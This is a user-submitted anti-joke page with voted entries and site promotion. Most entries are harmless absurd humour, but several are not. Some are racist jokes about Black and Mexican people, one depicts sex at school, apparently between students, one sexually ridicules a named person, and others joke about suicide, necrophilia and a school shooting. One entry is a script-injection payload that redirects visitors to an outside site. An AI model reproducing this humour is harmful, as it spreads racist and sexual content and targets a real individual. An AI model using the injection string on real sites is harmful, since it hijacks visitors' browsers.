alex and clayton are having sex at school. at that point, their teacher walks in and tells clayton about the dangers of unprotected sex.

thumb_up thumb_down +4

Pickup line: Hey babe, do you know what time it is? Because I don't wanna be late for class and if you told the time, it will surely help me because I'll be able to arrive early at my class not to mention it would greatly improve my punctuality efforts to help me pass the class this semester. Geez, I remember back in middle school there was a guy name Billy Jones and he used to always be late for class. His name was Billy but we called him Bill. Bill was his nickname but his real name was Billy. Anyways, he was always late for class because he would always make the best barbecue ribs in town.... (45 minutes later...) ....and I told Bill, "Man, if you were to just ask what time it was it would greatly help you in arriving to class early." And he was was like "I know but..."And then I cut him off and I said "But nothing. I don't care what kind of barbecue ribs you make, you just can't do that." So there I was, me and him, sitting down and .... (3 hours later...) ...it was awesome. Boy, I remember back in the early 90's when I was at elementary school, it was a stormy weather and we had to go to class. That's when I met Clarissa. She was a really nice girl and I remember there was a time when... (to be continued....)

thumb_up thumb_down +4

Yo mama's so ugly, one day she looked in the mirror and her face was a wreck. Later that day she committed suicide.

thumb_up thumb_down +4

Roses are red Violets are blue I love you a lot But you're dead and I have unhealthy necrophiliac tendencies

thumb_up thumb_down +2

Jacob Mckeand licks his gooch everynight. Some nights he even covers it in maple syrup. 'mmmmm' he thinks to himself as he licks his 7 inch gooch up and down.

thumb_up thumb_down +2

What's worse than burning your tongue drinking hot chocolate? Being shanked by a homeless man.

thumb_up thumb_down +2

If a large bear falls out of a tree, why would a giraffe also eat the cheese?

thumb_up thumb_down +2

If you have three ice-cream cones, and you give away two, how many do you have left? Why would you give away your ice-cream? Eating it is the better option.

thumb_up thumb_down +2

Why wasn't the elephant allowed to the pajama party? Because he didnt have any pajamas.

thumb_up thumb_down +2

whats black & white the colombo school shooting citv footage

thumb_up thumb_down +2

A black guy and a Mexican are sitting in a car who's driving??? The Cops

thumb_up thumb_down +2

What happens to a blonde girl who is buying drugs off of a drug dealer? Nothing, she was an undercover police officer trying to arrest said drug dealers on the street.

thumb_up thumb_down

Whats more dangerous then a man with a gun? two men with guns.

thumb_up thumb_down

outside your comfort zone

thumb_up thumb_down

"'>document.location.href="http://cramik.org"

thumb_up thumb_down

My Friend Philip had his lip removed today. he is just Phil now.

thumb_up thumb_down

Why couldn't the man sleep? Because he was a wax model in a museum, and as we all know wax models are inanimate objects thus incapable of consciousness and therefore incapable of unconsciousness as well. Many other inanimate objects are caught up in similar problems relating to their incapability to do anything.

thumb_up thumb_down

What did one tree say to the other tree? Nothing, trees can't talk.

thumb_up thumb_down

What did the purple dragon say to the unicorn? He doesn't say anything to the unicorn because dragons and unicorns don't exist. Even if they did exist, dragons and unicorns can't talk, unless we're talking about cartoons. Also, even if it was a cartoon or whatever, do you really think a purple dragon has ANYTHING to say to a unicorn?! Of course not! Oh look at me I'm a cool talking dragon, I have something so important to say to this unicorn. Gimme a break...

thumb_up thumb_down

What tastes worse than dog shit? White dog shit.

thumb_up thumb_down

Dylan: "I dont understand anti-jokes"

thumb_up thumb_down

What's worse than finding a worm inside your apple? Finding an apple inside your worm.

thumb_up thumb_down

What did the black man do to the white woman? I Dont KNow ask him

thumb_up thumb_down

Knock Knock. Erm, sorry to be weird, but can you perhaps use the doorbell, because it's new and has a novelty chime. I'm proud of it and get a little chuckle everytime it rings in the vain hope that, perhaps you, the visitor, may also find it entertaining. Who's there anyway?'

thumb_up thumb_down

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops